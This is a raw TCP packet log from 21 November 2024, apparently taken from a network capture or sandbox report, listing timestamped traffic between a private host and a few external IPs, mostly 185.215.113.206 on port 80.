Nov 21, 2024 19:58:50.135284901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.135294914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.135358095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.135986090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.136048079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.136074066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.136610031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.136624098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.136699915 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.136750937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.136816978 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.137310028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.137370110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.137434959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.137506008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.138123035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.138130903 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.138185024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.138778925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.138814926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.138844013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.138930082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.139404058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.139516115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.313405991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.313471079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.313474894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.313527107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.313783884 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.313864946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.313951015 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.314008951 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.314486027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.314551115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.314665079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.314881086 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.315221071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.315269947 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.315399885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.315455914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.315501928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.315629959 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.316231966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.316273928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.316298008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.316313982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.317018032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.317107916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.317333937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.317393064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.317740917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.317851067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.317853928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.317912102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.318413019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.318445921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.318471909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.318483114 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.318919897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.318968058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.319093943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.319207907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.319629908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.319638968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.319695950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.320297003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.320426941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.320502043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.321000099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.321053982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.321118116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.321326017 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.321754932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.321820974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.321928978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.322097063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.322447062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.322518110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.322621107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.322690010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.323112011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.323160887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.323167086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.323287964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.323889017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.323959112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.323999882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.324053049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.324561119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.324620962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.324655056 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.324728012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.325345039 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.325403929 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.325493097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.325594902 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.325970888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.325994968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.326047897 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.326617956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.326677084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.326746941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.326805115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.327342033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.327392101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.327420950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.327466965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.328183889 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.328258991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.328293085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.328345060 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.328805923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.328859091 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.328917027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.329427958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.329437017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.329487085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.330143929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.330218077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.330240011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.330286980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.330822945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.330872059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.330924988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.330986023 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.331532001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.331577063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.331592083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.331634998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.332303047 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.332354069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.332364082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.332416058 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.332926035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.332974911 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.333007097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.333062887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.333626986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.333690882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.333697081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.333746910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.334314108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.334367037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.334472895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.334512949 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.335006952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.335078001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.335119963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.335186958 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.335716963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.335820913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.335844994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.335901022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.336474895 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.336571932 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.336635113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.336684942 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.337151051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.337165117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.337220907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.337862968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.337927103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.338002920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.338088036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.338521957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.338583946 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.338646889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.339273930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.339279890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.339338064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.339946032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.340019941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.340048075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.340104103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.340657949 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.340742111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.340806007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.341351986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.341392994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.341409922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.341471910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.342075109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.342185974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.342227936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.342749119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.342801094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.342827082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.342878103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.343451977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.343538046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.343646049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.343703985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.344142914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.344224930 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.344265938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.344321012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.344876051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.344955921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.345014095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.345057011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.345597029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.345638990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.345657110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.345721006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.346282959 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.346338987 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.346365929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.346415043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.347078085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.347136974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.347212076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.347367048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.347655058 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.347708941 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.347750902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.347799063 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.348376036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.348427057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.348467112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.348540068 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.349081993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.349138975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.349204063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.349312067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.349754095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.349797010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.349812031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.349839926 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.439006090 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439053059 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.439137936 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439202070 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439260960 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.439332008 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439421892 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439433098 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.439544916 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439616919 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439675093 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.439737082 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439759016 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439785957 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.439944029 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.439985991 CET	49809	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.440002918 CET	443	49809	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.440094948 CET	49810	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.440108061 CET	443	49810	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.440196991 CET	49811	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.440208912 CET	443	49811	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.440280914 CET	49812	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.440291882 CET	443	49812	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.440376997 CET	49813	443	192.168.2.8	23.44.133.17
Nov 21, 2024 19:58:50.440390110 CET	443	49813	23.44.133.17	192.168.2.8
Nov 21, 2024 19:58:50.442333937 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:50.442369938 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:50.442426920 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:50.442616940 CET	49814	443	192.168.2.8	18.173.219.84
Nov 21, 2024 19:58:50.442631960 CET	443	49814	18.173.219.84	192.168.2.8
Nov 21, 2024 19:58:50.524008036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.524169922 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.524235010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.524334908 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.524362087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.524370909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.524419069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.525096893 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.525158882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.525214911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.525279999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.525718927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.525778055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.525952101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.526021004 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.526036024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.526104927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.526380062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.526488066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.526551008 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.526566029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.527064085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.527146101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.527180910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.527234077 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.527776003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.527832031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.527925014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.527995110 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.528462887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.528533936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.528556108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.528599024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.529181957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.529284000 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.529284000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.529335022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.529881954 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.529937983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.529983044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.530181885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.530585051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.530666113 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.530703068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.530754089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.531290054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.531341076 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.531410933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.531476021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.532012939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.532051086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.532109976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.532694101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.532777071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.532830954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.533430099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.533487082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.533492088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.533535957 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.534104109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.534156084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.534210920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.534379005 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.534799099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.534898996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.534915924 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.534993887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.535482883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.535550117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.535588980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.535675049 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.536190987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.536268950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.536294937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.536391020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.536905050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.536962986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.537017107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.537076950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:50.537596941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.537698984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:50.537722111 CET	49746	80	192.168.2.8	185.215.113.206
